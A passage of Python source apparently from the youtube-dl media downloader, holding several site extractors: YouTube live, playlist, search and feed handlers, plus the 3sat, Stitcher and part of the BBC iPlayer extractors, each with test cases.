        other_yt_ies = iter(klass for (name, klass) in globals().items() if name.startswith('Youtube') and name.endswith('IE') and klass is not cls)
        if any(ie.suitable(url) for ie in other_yt_ies):
            return False
        else:
            return super(YoutubeUserIE, cls).suitable(url)

    def _build_template_url(self, url, channel_id):
        mobj = re.match(self._VALID_URL, url)
        return self._TEMPLATE_URL % (mobj.group('user') or 'user', mobj.group('id'))


class YoutubeLiveIE(YoutubeBaseInfoExtractor):
    IE_DESC = 'YouTube.com live streams'
    _VALID_URL = r'(?P<base_url>https?://(?:\w+\.)?youtube\.com/(?:user|channel)/(?P<id>[^/]+))/live'
    IE_NAME = 'youtube:live'

    _TESTS = [{
        'url': 'http://www.youtube.com/user/TheYoungTurks/live',
        'info_dict': {
            'id': 'a48o2S1cPoo',
            'ext': 'mp4',
            'title': 'The Young Turks - Live Main Show',
            'uploader': 'The Young Turks',
            'uploader_id': 'TheYoungTurks',
            'uploader_url': 're:https?://(?:www\.)?youtube\.com/user/TheYoungTurks',
            'upload_date': '20150715',
            'license': 'Standard YouTube License',
            'description': 'md5:438179573adcdff3c97ebb1ee632b891',
            'categories': ['News & Politics'],
            'tags': ['Cenk Uygur (TV Program Creator)', 'The Young Turks (Award-Winning Work)', 'Talk Show (TV Genre)'],
            'like_count': int,
            'dislike_count': int,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'http://www.youtube.com/channel/UC1yBKRuGpC1tSM73A0ZjYjQ/live',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        channel_id = mobj.group('id')
        base_url = mobj.group('base_url')
        webpage = self._download_webpage(url, channel_id, fatal=False)
        if webpage:
            page_type = self._og_search_property(
                'type', webpage, 'page type', default=None)
            video_id = self._html_search_meta(
                'videoId', webpage, 'video id', default=None)
            if page_type == 'video' and video_id and re.match(r'^[0-9A-Za-z_-]{11}$', video_id):
                return self.url_result(video_id, YoutubeIE.ie_key())
        return self.url_result(base_url)


class YoutubePlaylistsIE(YoutubePlaylistsBaseInfoExtractor):
    IE_DESC = 'YouTube.com user/channel playlists'
    _VALID_URL = r'https?://(?:\w+\.)?youtube\.com/(?:user|channel)/(?P<id>[^/]+)/playlists'
    IE_NAME = 'youtube:playlists'

    _TESTS = [{
        'url': 'http://www.youtube.com/user/ThirstForScience/playlists',
        'playlist_mincount': 4,
        'info_dict': {
            'id': 'ThirstForScience',
            'title': 'Thirst for Science',
        },
    }, {
        # with "Load more" button
        'url': 'http://www.youtube.com/user/igorkle1/playlists?view=1&sort=dd',
        'playlist_mincount': 70,
        'info_dict': {
            'id': 'igorkle1',
            'title': 'Игорь Клейнер',
        },
    }, {
        'url': 'https://www.youtube.com/channel/UCiU1dHvZObB2iP6xkJ__Icw/playlists',
        'playlist_mincount': 17,
        'info_dict': {
            'id': 'UCiU1dHvZObB2iP6xkJ__Icw',
            'title': 'Chem Player',
        },
    }]


class YoutubeSearchIE(SearchInfoExtractor, YoutubePlaylistIE):
    IE_DESC = 'YouTube.com searches'
    # there doesn't appear to be a real limit, for example if you search for
    # 'python' you get more than 8.000.000 results
    _MAX_RESULTS = float('inf')
    IE_NAME = 'youtube:search'
    _SEARCH_KEY = 'ytsearch'
    _EXTRA_QUERY_ARGS = {}
    _TESTS = []

    def _get_n_results(self, query, n):
        """Get a specified number of results for a query"""

        videos = []
        limit = n

        for pagenum in itertools.count(1):
            url_query = {
                'search_query': query.encode('utf-8'),
                'page': pagenum,
                'spf': 'navigate',
            }
            url_query.update(self._EXTRA_QUERY_ARGS)
            result_url = 'https://www.youtube.com/results?' + compat_urllib_parse_urlencode(url_query)
            data = self._download_json(
                result_url, video_id='query "%s"' % query,
                note='Downloading page %s' % pagenum,
                errnote='Unable to download API page')
            html_content = data[1]['body']['content']

            if 'class="search-message' in html_content:
                raise ExtractorError(
                    '[youtube] No video results', expected=True)

            new_videos = self._ids_to_results(orderedSet(re.findall(
                r'href="/watch\?v=(.{11})', html_content)))
            videos += new_videos
            if not new_videos or len(videos) > limit:
                break

        if len(videos) > n:
            videos = videos[:n]
        return self.playlist_result(videos, query)


class YoutubeSearchDateIE(YoutubeSearchIE):
    IE_NAME = YoutubeSearchIE.IE_NAME + ':date'
    _SEARCH_KEY = 'ytsearchdate'
    IE_DESC = 'YouTube.com searches, newest videos first'
    _EXTRA_QUERY_ARGS = {'search_sort': 'video_date_uploaded'}


class YoutubeSearchURLIE(YoutubePlaylistBaseInfoExtractor):
    IE_DESC = 'YouTube.com search URLs'
    IE_NAME = 'youtube:search_url'
    _VALID_URL = r'https?://(?:www\.)?youtube\.com/results\?(.*?&)?(?:search_query|q)=(?P<query>[^&]+)(?:[&]|$)'
    _VIDEO_RE = r'href="\s*/watch\?v=(?P<id>[0-9A-Za-z_-]{11})(?:[^"]*"[^>]+\btitle="(?P<title>[^"]+))?'
    _TESTS = [{
        'url': 'https://www.youtube.com/results?baz=bar&search_query=youtube-dl+test+video&filters=video&lclk=video',
        'playlist_mincount': 5,
        'info_dict': {
            'title': 'youtube-dl test video',
        }
    }, {
        'url': 'https://www.youtube.com/results?q=test&sp=EgQIBBgB',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        query = compat_urllib_parse_unquote_plus(mobj.group('query'))
        webpage = self._download_webpage(url, query)
        return self.playlist_result(self._process_page(webpage), playlist_title=query)


class YoutubeShowIE(YoutubePlaylistsBaseInfoExtractor):
    IE_DESC = 'YouTube.com (multi-season) shows'
    _VALID_URL = r'https?://www\.youtube\.com/show/(?P<id>[^?#]*)'
    IE_NAME = 'youtube:show'
    _TESTS = [{
        'url': 'https://www.youtube.com/show/airdisasters',
        'playlist_mincount': 5,
        'info_dict': {
            'id': 'airdisasters',
            'title': 'Air Disasters',
        }
    }]

    def _real_extract(self, url):
        playlist_id = self._match_id(url)
        return super(YoutubeShowIE, self)._real_extract(
            'https://www.youtube.com/show/%s/playlists' % playlist_id)


class YoutubeFeedsInfoExtractor(YoutubeBaseInfoExtractor):
    """
    Base class for feed extractors
    Subclasses must define the _FEED_NAME and _PLAYLIST_TITLE properties.
    """
    _LOGIN_REQUIRED = True

    @property
    def IE_NAME(self):
        return 'youtube:%s' % self._FEED_NAME

    def _real_initialize(self):
        self._login()

    def _real_extract(self, url):
        page = self._download_webpage(
            'https://www.youtube.com/feed/%s' % self._FEED_NAME, self._PLAYLIST_TITLE)

        # The extraction process is the same as for playlists, but the regex
        # for the video ids doesn't contain an index
        ids = []
        more_widget_html = content_html = page
        for page_num in itertools.count(1):
            matches = re.findall(r'href="\s*/watch\?v=([0-9A-Za-z_-]{11})', content_html)

            # 'recommended' feed has infinite 'load more' and each new portion spins
            # the same videos in (sometimes) slightly different order, so we'll check
            # for unicity and break when portion has no new videos
            new_ids = filter(lambda video_id: video_id not in ids, orderedSet(matches))
            if not new_ids:
                break

            ids.extend(new_ids)

            mobj = re.search(r'data-uix-load-more-href="/?(?P<more>[^"]+)"', more_widget_html)
            if not mobj:
                break

            more = self._download_json(
                'https://youtube.com/%s' % mobj.group('more'), self._PLAYLIST_TITLE,
                'Downloading page #%s' % page_num,
                transform_source=uppercase_escape)
            content_html = more['content_html']
            more_widget_html = more['load_more_widget_html']

        return self.playlist_result(
            self._ids_to_results(ids), playlist_title=self._PLAYLIST_TITLE)


class YoutubeWatchLaterIE(YoutubePlaylistIE):
    IE_NAME = 'youtube:watchlater'
    IE_DESC = 'Youtube watch later list, ":ytwatchlater" for short (requires authentication)'
    _VALID_URL = r'https?://www\.youtube\.com/(?:feed/watch_later|(?:playlist|watch)\?(?:.+&)?list=WL)|:ytwatchlater'

    _TESTS = [{
        'url': 'https://www.youtube.com/playlist?list=WL',
        'only_matching': True,
    }, {
        'url': 'https://www.youtube.com/watch?v=bCNU9TrbiRk&index=1&list=WL',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video = self._check_download_just_video(url, 'WL')
        if video:
            return video
        return self._extract_playlist('WL')


class YoutubeFavouritesIE(YoutubeBaseInfoExtractor):
    IE_NAME = 'youtube:favorites'
    IE_DESC = 'YouTube.com favourite videos, ":ytfav" for short (requires authentication)'
    _VALID_URL = r'https?://www\.youtube\.com/my_favorites|:ytfav(?:ou?rites)?'
    _LOGIN_REQUIRED = True

    def _real_extract(self, url):
        webpage = self._download_webpage('https://www.youtube.com/my_favorites', 'Youtube Favourites videos')
        playlist_id = self._search_regex(r'list=(.+?)["&]', webpage, 'favourites playlist id')
        return self.url_result(playlist_id, 'YoutubePlaylist')


class YoutubeRecommendedIE(YoutubeFeedsInfoExtractor):
    IE_DESC = 'YouTube.com recommended videos, ":ytrec" for short (requires authentication)'
    _VALID_URL = r'https?://www\.youtube\.com/feed/recommended|:ytrec(?:ommended)?'
    _FEED_NAME = 'recommended'
    _PLAYLIST_TITLE = 'Youtube Recommended videos'


class YoutubeSubscriptionsIE(YoutubeFeedsInfoExtractor):
    IE_DESC = 'YouTube.com subscriptions feed, "ytsubs" keyword (requires authentication)'
    _VALID_URL = r'https?://www\.youtube\.com/feed/subscriptions|:ytsubs(?:criptions)?'
    _FEED_NAME = 'subscriptions'
    _PLAYLIST_TITLE = 'Youtube Subscriptions'


class YoutubeHistoryIE(YoutubeFeedsInfoExtractor):
    IE_DESC = 'Youtube watch history, ":ythistory" for short (requires authentication)'
    _VALID_URL = 'https?://www\.youtube\.com/feed/history|:ythistory'
    _FEED_NAME = 'history'
    _PLAYLIST_TITLE = 'Youtube History'


class YoutubeTruncatedURLIE(InfoExtractor):
    IE_NAME = 'youtube:truncated_url'
    IE_DESC = False  # Do not list
    _VALID_URL = r'''(?x)
        (?:https?://)?
        (?:\w+\.)?[yY][oO][uU][tT][uU][bB][eE](?:-nocookie)?\.com/
        (?:watch\?(?:
            feature=[a-z_]+|
            annotation_id=annotation_[^&]+|
            x-yt-cl=[0-9]+|
            hl=[^&]*|
            t=[0-9]+
        )?
        |
            attribution_link\?a=[^&]+
        )
        $
    '''

    _TESTS = [{
        'url': 'http://www.youtube.com/watch?annotation_id=annotation_3951667041',
        'only_matching': True,
    }, {
        'url': 'http://www.youtube.com/watch?',
        'only_matching': True,
    }, {
        'url': 'https://www.youtube.com/watch?x-yt-cl=84503534',
        'only_matching': True,
    }, {
        'url': 'https://www.youtube.com/watch?feature=foo',
        'only_matching': True,
    }, {
        'url': 'https://www.youtube.com/watch?hl=en-GB',
        'only_matching': True,
    }, {
        'url': 'https://www.youtube.com/watch?t=2372',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        raise ExtractorError(
            'Did you forget to quote the URL? Remember that & is a meta '
            'character in most shells, so you want to put the URL in quotes, '
            'like  youtube-dl '
            '"http://www.youtube.com/watch?feature=foo&v=BaW_jenozKc" '
            ' or simply  youtube-dl BaW_jenozKc  .',
            expected=True)


class YoutubeTruncatedIDIE(InfoExtractor):
    IE_NAME = 'youtube:truncated_id'
    IE_DESC = False  # Do not list
    _VALID_URL = r'https?://(?:www\.)?youtube\.com/watch\?v=(?P<id>[0-9A-Za-z_-]{1,10})$'

    _TESTS = [{
        'url': 'https://www.youtube.com/watch?v=N_708QY7Ob',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        raise ExtractorError(
            'Incomplete YouTube ID %s. URL %s looks truncated.' % (video_id, url),
            expected=True)






from __future__ import unicode_literals

import re

from .zdf import ZDFIE


class DreiSatIE(ZDFIE):
    IE_NAME = '3sat'
    _VALID_URL = r'(?:https?://)?(?:www\.)?3sat\.de/mediathek/(?:index\.php|mediathek\.php)?\?(?:(?:mode|display)=[^&]+&)*obj=(?P<id>[0-9]+)$'
    _TESTS = [
        {
            'url': 'http://www.3sat.de/mediathek/index.php?mode=play&obj=45918',
            'md5': 'be37228896d30a88f315b638900a026e',
            'info_dict': {
                'id': '45918',
                'ext': 'mp4',
                'title': 'Waidmannsheil',
                'description': 'md5:cce00ca1d70e21425e72c86a98a56817',
                'uploader': 'SCHWEIZWEIT',
                'uploader_id': '100000210',
                'upload_date': '20140913'
            },
            'params': {
                'skip_download': True,  # m3u8 downloads
            }
        },
        {
            'url': 'http://www.3sat.de/mediathek/mediathek.php?mode=play&obj=51066',
            'only_matching': True,
        },
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        details_url = 'http://www.3sat.de/mediathek/xmlservice/web/beitragsDetails?ak=web&id=%s' % video_id
        return self.extract_from_xml_url(video_id, details_url)






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    int_or_none,
    js_to_json,
    unescapeHTML,
)


class StitcherIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?stitcher\.com/podcast/(?:[^/]+/)+e/(?:(?P<display_id>[^/#?&]+?)-)?(?P<id>\d+)(?:[/#?&]|$)'
    _TESTS = [{
        'url': 'http://www.stitcher.com/podcast/the-talking-machines/e/40789481?autoplay=true',
        'md5': '391dd4e021e6edeb7b8e68fbf2e9e940',
        'info_dict': {
            'id': '40789481',
            'ext': 'mp3',
            'title': 'Machine Learning Mastery and Cancer Clusters',
            'description': 'md5:55163197a44e915a14a1ac3a1de0f2d3',
            'duration': 1604,
            'thumbnail': 're:^https?://.*\.jpg',
        },
    }, {
        'url': 'http://www.stitcher.com/podcast/panoply/vulture-tv/e/the-rare-hourlong-comedy-plus-40846275?autoplay=true',
        'info_dict': {
            'id': '40846275',
            'display_id': 'the-rare-hourlong-comedy-plus',
            'ext': 'mp3',
            'title': "The CW's 'Crazy Ex-Girlfriend'",
            'description': 'md5:04f1e2f98eb3f5cbb094cea0f9e19b17',
            'duration': 2235,
            'thumbnail': 're:^https?://.*\.jpg',
        },
        'params': {
            'skip_download': True,
        },
    }, {
        # escaped title
        'url': 'http://www.stitcher.com/podcast/marketplace-on-stitcher/e/40910226?autoplay=true',
        'only_matching': True,
    }, {
        'url': 'http://www.stitcher.com/podcast/panoply/getting-in/e/episode-2a-how-many-extracurriculars-should-i-have-40876278?autoplay=true',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        audio_id = mobj.group('id')
        display_id = mobj.group('display_id') or audio_id

        webpage = self._download_webpage(url, display_id)

        episode = self._parse_json(
            js_to_json(self._search_regex(
                r'(?s)var\s+stitcher(?:Config)?\s*=\s*({.+?});\n', webpage, 'episode config')),
            display_id)['config']['episode']

        title = unescapeHTML(episode['title'])
        formats = [{
            'url': episode[episode_key],
            'ext': determine_ext(episode[episode_key]) or 'mp3',
            'vcodec': 'none',
        } for episode_key in ('episodeURL',) if episode.get(episode_key)]
        description = self._search_regex(
            r'Episode Info:\s*</span>([^<]+)<', webpage, 'description', fatal=False)
        duration = int_or_none(episode.get('duration'))
        thumbnail = episode.get('episodeImage')

        return {
            'id': audio_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'duration': duration,
            'thumbnail': thumbnail,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import re
import itertools

from .common import InfoExtractor
from ..utils import (
    dict_get,
    ExtractorError,
    float_or_none,
    int_or_none,
    parse_duration,
    parse_iso8601,
    try_get,
    unescapeHTML,
)
from ..compat import (
    compat_etree_fromstring,
    compat_HTTPError,
    compat_urlparse,
)


class BBCCoUkIE(InfoExtractor):
    IE_NAME = 'bbc.co.uk'
    IE_DESC = 'BBC iPlayer'
    _ID_REGEX = r'[pb][\da-z]{7}'
    _VALID_URL = r'''(?x)
                    https?://
                        (?:www\.)?bbc\.co\.uk/
                        (?:
                            programmes/(?!articles/)|
                            iplayer(?:/[^/]+)?/(?:episode/|playlist/)|
                            music/clips[/#]|
                            radio/player/
                        )
                        (?P<id>%s)(?!/(?:episodes|broadcasts|clips))
                    ''' % _ID_REGEX

    _MEDIASELECTOR_URLS = [
        # Provides HQ HLS streams with even better quality that pc mediaset but fails
        # with geolocation in some cases when it's even not geo restricted at all (e.g.
        # http://www.bbc.co.uk/programmes/b06bp7lf). Also may fail with selectionunavailable.
        'http://open.live.bbc.co.uk/mediaselector/5/select/version/2.0/mediaset/iptv-all/vpid/%s',
        'http://open.live.bbc.co.uk/mediaselector/5/select/version/2.0/mediaset/pc/vpid/%s',
    ]

    _MEDIASELECTION_NS = 'http://bbc.co.uk/2008/mp/mediaselection'
    _EMP_PLAYLIST_NS = 'http://bbc.co.uk/2008/emp/playlist'

    _NAMESPACES = (
        _MEDIASELECTION_NS,
        _EMP_PLAYLIST_NS,
    )

    _TESTS = [
        {
            'url': 'http://www.bbc.co.uk/programmes/b039g8p7',
            'info_dict': {
                'id': 'b039d07m',
                'ext': 'flv',
                'title': 'Leonard Cohen, Kaleidoscope - BBC Radio 4',
                'description': 'The Canadian poet and songwriter reflects on his musical career.',
            },
            'params': {
                # rtmp download
                'skip_download': True,
            }
        },
        {
            'url': 'http://www.bbc.co.uk/iplayer/episode/b00yng5w/The_Man_in_Black_Series_3_The_Printed_Name/',
            'info_dict': {
                'id': 'b00yng1d',
                'ext': 'flv',
                'title': 'The Man in Black: Series 3: The Printed Name',
                'description': "Mark Gatiss introduces Nicholas Pierpan's chilling tale of a writer's devilish pact with a mysterious man. Stars Ewan Bailey.",
                'duration': 1800,
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
            'skip': 'Episode is no longer available on BBC iPlayer Radio',
        },
        {
            'url': 'http://www.bbc.co.uk/iplayer/episode/b03vhd1f/The_Voice_UK_Series_3_Blind_Auditions_5/',
            'info_dict': {
                'id': 'b00yng1d',
                'ext': 'flv',
                'title': 'The Voice UK: Series 3: Blind Auditions 5',
                'description': 'Emma Willis and Marvin Humes present the fifth set of blind auditions in the singing competition, as the coaches continue to build their teams based on voice alone.',
                'duration': 5100,
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
            'skip': 'Currently BBC iPlayer TV programmes are available to play in the UK only',
        },
        {
            'url': 'http://www.bbc.co.uk/iplayer/episode/p026c7jt/tomorrows-worlds-the-unearthly-history-of-science-fiction-2-invasion',
            'info_dict': {
                'id': 'b03k3pb7',
                'ext': 'flv',
                'title': "Tomorrow's Worlds: The Unearthly History of Science Fiction",
                'description': '2. Invasion',
                'duration': 3600,
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
            'skip': 'Currently BBC iPlayer TV programmes are available to play in the UK only',
        }, {
            'url': 'http://www.bbc.co.uk/programmes/b04v20dw',
            'info_dict': {
                'id': 'b04v209v',
                'ext': 'flv',
                'title': 'Pete Tong, The Essential New Tune Special',
                'description': "Pete has a very special mix - all of 2014's Essential New Tunes!",
                'duration': 10800,
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
            'skip': 'Episode is no longer available on BBC iPlayer Radio',
        }, {
            'url': 'http://www.bbc.co.uk/music/clips/p022h44b',
            'note': 'Audio',
            'info_dict': {
                'id': 'p022h44j',
                'ext': 'flv',
                'title': 'BBC Proms Music Guides, Rachmaninov: Symphonic Dances',
                'description': "In this Proms Music Guide, Andrew McGregor looks at Rachmaninov's Symphonic Dances.",
                'duration': 227,
            },
            'params': {
                # rtmp download
                'skip_download': True,
            }
        }, {
            'url': 'http://www.bbc.co.uk/music/clips/p025c0zz',
            'note': 'Video',
            'info_dict': {
                'id': 'p025c103',
                'ext': 'flv',
                'title': 'Reading and Leeds Festival, 2014, Rae Morris - Closer (Live on BBC Three)',
                'description': 'Rae Morris performs Closer for BBC Three at Reading 2014',
                'duration': 226,
            },
            'params': {
                # rtmp download
                'skip_download': True,
            }
        }, {
            'url': 'http://www.bbc.co.uk/iplayer/episode/b054fn09/ad/natural-world-20152016-2-super-powered-owls',
            'info_dict': {
                'id': 'p02n76xf',
                'ext': 'flv',
                'title': 'Natural World, 2015-2016: 2. Super Powered Owls',
                'description': 'md5:e4db5c937d0e95a7c6b5e654d429183d',
                'duration': 3540,
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
            'skip': 'geolocation',
        }, {
            'url': 'http://www.bbc.co.uk/iplayer/episode/b05zmgwn/royal-academy-summer-exhibition',
            'info_dict': {
                'id': 'b05zmgw1',
                'ext': 'flv',
                'description': 'Kirsty Wark and Morgan Quaintance visit the Royal Academy as it prepares for its annual artistic extravaganza, meeting people who have come together to make the show unique.',
                'title': 'Royal Academy Summer Exhibition',
                'duration': 3540,
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
            'skip': 'geolocation',
        }, {
            # iptv-all mediaset fails with geolocation however there is no geo restriction
            # for this programme at all
            'url': 'http://www.bbc.co.uk/programmes/b06rkn85',
            'info_dict': {
                'id': 'b06rkms3',
                'ext': 'flv',
                'title': "Best of the Mini-Mixes 2015: Part 3, Annie Mac's Friday Night - BBC Radio 1",
                'description': "Annie has part three in the Best of the Mini-Mixes 2015, plus the year's Most Played!",
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
            'skip': 'Now it\'s really geo-restricted',
        }, {
            # compact player (https://github.com/rg3/youtube-dl/issues/8147)
            'url': 'http://www.bbc.co.uk/programmes/p028bfkf/player',
            'info_dict': {
                'id': 'p028bfkj',
                'ext': 'flv',
                'title': 'Extract from BBC documentary Look Stranger - Giant Leeks and Magic Brews',
                'description': 'Extract from BBC documentary Look Stranger - Giant Leeks and Magic Brews',
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
        }, {
            'url': 'http://www.bbc.co.uk/iplayer/playlist/p01dvks4',
            'only_matching': True,
        }, {
            'url': 'http://www.bbc.co.uk/music/clips#p02frcc3',
            'only_matching': True,
        }, {
            'url': 'http://www.bbc.co.uk/iplayer/cbeebies/episode/b0480276/bing-14-atchoo',
            'only_matching': True,
        }, {
            'url': 'http://www.bbc.co.uk/radio/player/p03cchwf',
            'only_matching': True,
        }
    ]

    class MediaSelectionError(Exception):
        def __init__(self, id):
            self.id = id

    def _extract_asx_playlist(self, connection, programme_id):
        asx = self._download_xml(connection.get('href'), programme_id, 'Downloading ASX playlist')
        return [ref.get('href') for ref in asx.findall('./Entry/ref')]

    def _extract_items(self, playlist):
        return playlist.findall('./{%s}item' % self._EMP_PLAYLIST_NS)

    def _findall_ns(self, element, xpath):
        elements = []
        for ns in self._NAMESPACES:
            elements.extend(element.findall(xpath % ns))
        return elements

    def _extract_medias(self, media_selection):
        error = media_selection.find('./{%s}error' % self._MEDIASELECTION_NS)
        if error is None:
            media_selection.find('./{%s}error' % self._EMP_PLAYLIST_NS)
        if error is not None:
            raise BBCCoUkIE.MediaSelectionError(error.get('id'))
        return self._findall_ns(media_selection, './{%s}media')

    def _extract_connections(self, media):
        return self._findall_ns(media, './{%s}connection')

    def _get_subtitles(self, media, programme_id):
        subtitles = {}
        for connection in self._extract_connections(media):
            captions = self._download_xml(connection.get('href'), programme_id, 'Downloading captions')
            lang = captions.get('{http://www.w3.org/XML/1998/namespace}lang', 'en')
            subtitles[lang] = [
                {
                    'url': connection.get('href'),
                    'ext': 'ttml',
                },
            ]
        return subtitles

    def _raise_extractor_error(self, media_selection_error):
        raise ExtractorError(
            '%s returned error: %s' % (self.IE_NAME, media_selection_error.id),
            expected=True)

    def _download_media_selector(self, programme_id):
        last_exception = None
        for mediaselector_url in self._MEDIASELECTOR_URLS:
            try:
                return self._download_media_selector_url(
                    mediaselector_url % programme_id, programme_id)
            except BBCCoUkIE.MediaSelectionError as e:
                if e.id in ('notukerror', 'geolocation', 'selectionunavailable'):
                    last_exception = e
                    continue
                self._raise_extractor_error(e)
        self._raise_extractor_error(last_exception)

    def _download_media_selector_url(self, url, programme_id=None):
        try:
            media_selection = self._download_xml(
                url, programme_id, 'Downloading media selection XML')
        except ExtractorError as ee:
            if isinstance(ee.cause, compat_HTTPError) and ee.cause.code in (403, 404):
                media_selection = compat_etree_fromstring(ee.cause.read().decode('utf-8'))
            else:
                raise
        return self._process_media_selector(media_selection, programme_id)

    def _process_media_selector(self, media_selection, programme_id):
        formats = []
        subtitles = None
        urls = []

        for media in self._extract_medias(media_selection):
            kind = media.get('kind')
            if kind in ('video', 'audio'):
                bitrate = int_or_none(media.get('bitrate'))
                encoding = media.get('encoding')
                service = media.get('service')
                width = int_or_none(media.get('width'))
                height = int_or_none(media.get('height'))
                file_size = int_or_none(media.get('media_file_size'))
                for connection in self._extract_connections(media):
                    href = connection.get('href')
                    if href in urls:
                        continue
                    if href:
                        urls.append(href)
                    conn_kind = connection.get('kind')
                    protocol = connection.get('protocol')
                    supplier = connection.get('supplier')
                    transfer_format = connection.get('transferFormat')
                    format_id = supplier or conn_kind or protocol
                    if service:
                        format_id = '%s_%s' % (service, format_id)
                    # ASX playlist
                    if supplier == 'asx':
                        for i, ref in enumerate(self._extract_asx_playlist(connection, programme_id)):
                            formats.append({
                                'url': ref,
                                'format_id': 'ref%s_%s' % (i, format_id),
                            })
                    elif transfer_format == 'dash':
                        formats.extend(self._extract_mpd_formats(
                            href, programme_id, mpd_id=format_id, fatal=False))
                    elif transfer_format == 'hls':
                        formats.extend(self._extract_m3u8_formats(
                            href, programme_id, ext='mp4', entry_protocol='m3u8_native',
                            m3u8_id=format_id, fatal=False))
                    elif transfer_format == 'hds':
                        formats.extend(self._extract_f4m_formats(
                            href, programme_id, f4m_id=format_id, fatal=False))
                    else:
                        if not service and not supplier and bitrate:
                            format_id += '-%d' % bitrate
                        fmt = {
                            'format_id': format_id,
                            'filesize': file_size,
                        }
                        if kind == 'video':
                            fmt.update({
                                'width': width,
                                'height': height,
                                'vbr': bitrate,
                                'vcodec': encoding,
                            })
                        else:
                            fmt.update({
                                'abr': bitrate,
                                'acodec': encoding,
                                'vcodec': 'none',
                            })
                        if protocol == 'http':
                            # Direct link
                            fmt.update({
                                'url': href,
                            })
                        elif protocol == 'rtmp':
                            application = connection.get('application', 'ondemand')
                            auth_string = connection.get('authString')
                            identifier = connection.get('identifier')
                            server = connection.get('server')
                            fmt.update({
                                'url': '%s://%s/%s?%s' % (protocol, server, application, auth_string),
                                'play_path': identifier,
                                'app': '%s?%s' % (application, auth_string),
                                'page_url': 'http://www.bbc.co.uk',
                                'player_url': 'http://www.bbc.co.uk/emp/releases/iplayer/revisions/617463_618125_4/617463_618125_4_emp.swf',
                                'rtmp_live': False,
                                'ext': 'flv',
                            })
                        formats.append(fmt)
            elif kind == 'captions':
                subtitles = self.extract_subtitles(media, programme_id)
        return formats, subtitles

    def _download_playlist(self, playlist_id):
        try:
            playlist = self._download_json(
                'http://www.bbc.co.uk/programmes/%s/playlist.json' % playlist_id,
                playlist_id, 'Downloading playlist JSON')

            version = playlist.get('defaultAvailableVersion')
            if version:
                smp_config = version['smpConfig']
                title = smp_config['title']
                description = smp_config['summary']
                for item in smp_config['items']:
                    kind = item['kind']
                    if kind != 'programme' and kind != 'radioProgramme':
                        continue
                    programme_id = item.get('vpid')
                    duration = int_or_none(item.get('duration'))
                    formats, subtitles = self._download_media_selector(programme_id)
                return programme_id, title, description, duration, formats, subtitles
        except ExtractorError as ee:
            if not (isinstance(ee.cause, compat_HTTPError) and ee.cause.code == 404):
                raise

        # fallback to legacy playlist
        return self._process_legacy_playlist(playlist_id)

    def _process_legacy_playlist_url(self, url, display_id):
        playlist = self._download_legacy_playlist_url(url, display_id)
        return self._extract_from_legacy_playlist(playlist, display_id)

    def _process_legacy_playlist(self, playlist_id):
        return self._process_legacy_playlist_url(
            'http://www.bbc.co.uk/iplayer/playlist/%s' % playlist_id, playlist_id)

    def _download_legacy_playlist_url(self, url, playlist_id=None):
        return self._download_xml(
            url, playlist_id, 'Downloading legacy playlist XML')

    def _extract_from_legacy_playlist(self, playlist, playlist_id):
        no_items = playlist.find('./{%s}noItems' % self._EMP_PLAYLIST_NS)
        if no_items is not None:
            reason = no_items.get('reason')
            if reason == 'preAvailability':
                msg = 'Episode %s is not yet available' % playlist_id
            elif reason == 'postAvailability':
                msg = 'Episode %s is no longer available' % playlist_id
            elif reason == 'noMedia':
                msg = 'Episode %s is not currently available' % playlist_id
            else:
                msg = 'Episode %s is not available: %s' % (playlist_id, reason)
            raise ExtractorError(msg, expected=True)

        for item in self._extract_items(playlist):
            kind = item.get('kind')
            if kind != 'programme' and kind != 'radioProgramme':
                continue
            title = playlist.find('./{%s}title' % self._EMP_PLAYLIST_NS).text
            description_el = playlist.find('./{%s}summary' % self._EMP_PLAYLIST_NS)
            description = description_el.text if description_el is not None else None

            def get_programme_id(item):
                def get_from_attributes(item):
                    for p in('identifier', 'group'):
                        value = item.get(p)
                        if value and re.match(r'^[pb][\da-z]{7}$', value):
                            return value
                get_from_attributes(item)
                mediator = item.find('./{%s}mediator' % self._EMP_PLAYLIST_NS)
                if mediator is not None:
                    return get_from_attributes(mediator)

            programme_id = get_programme_id(item)
            duration = int_or_none(item.get('duration'))

            if programme_id:
                formats, subtitles = self._download_media_selector(programme_id)
            else:
                formats, subtitles = self._process_media_selector(item, playlist_id)
                programme_id = playlist_id

        return programme_id, title, description, duration, formats, subtitles

    def _real_extract(self, url):
        group_id = self._match_id(url)

        webpage = self._download_webpage(url, group_id, 'Downloading video page')

        programme_id = None
        duration = None

        tviplayer = self._search_regex(
            r'mediator\.bind\(({.+?})\s*,\s*document\.getElementById',
            webpage, 'player', default=None)

        if tviplayer:
            player = self._parse_json(tviplayer, group_id).get('player', {})
            duration = int_or_none(player.get('duration'))
            programme_id = player.get('vpid')

        if not programme_id:
            programme_id = self._search_regex(
                r'"vpid"\s*:\s*"(%s)"' % self._ID_REGEX, webpage, 'vpid', fatal=False, default=None)

        if programme_id:
            formats, subtitles = self._download_media_selector(programme_id)
            title = self._og_search_title(webpage, default=None) or self._html_search_regex(
                (r'<h2[^>]+id="parent-title"[^>]*>(.+?)</h2>',
                 r'<div[^>]+class="info"[^>]*>\s*<h1>(.+?)</h1>'), webpage, 'title')
            description = self._search_regex(
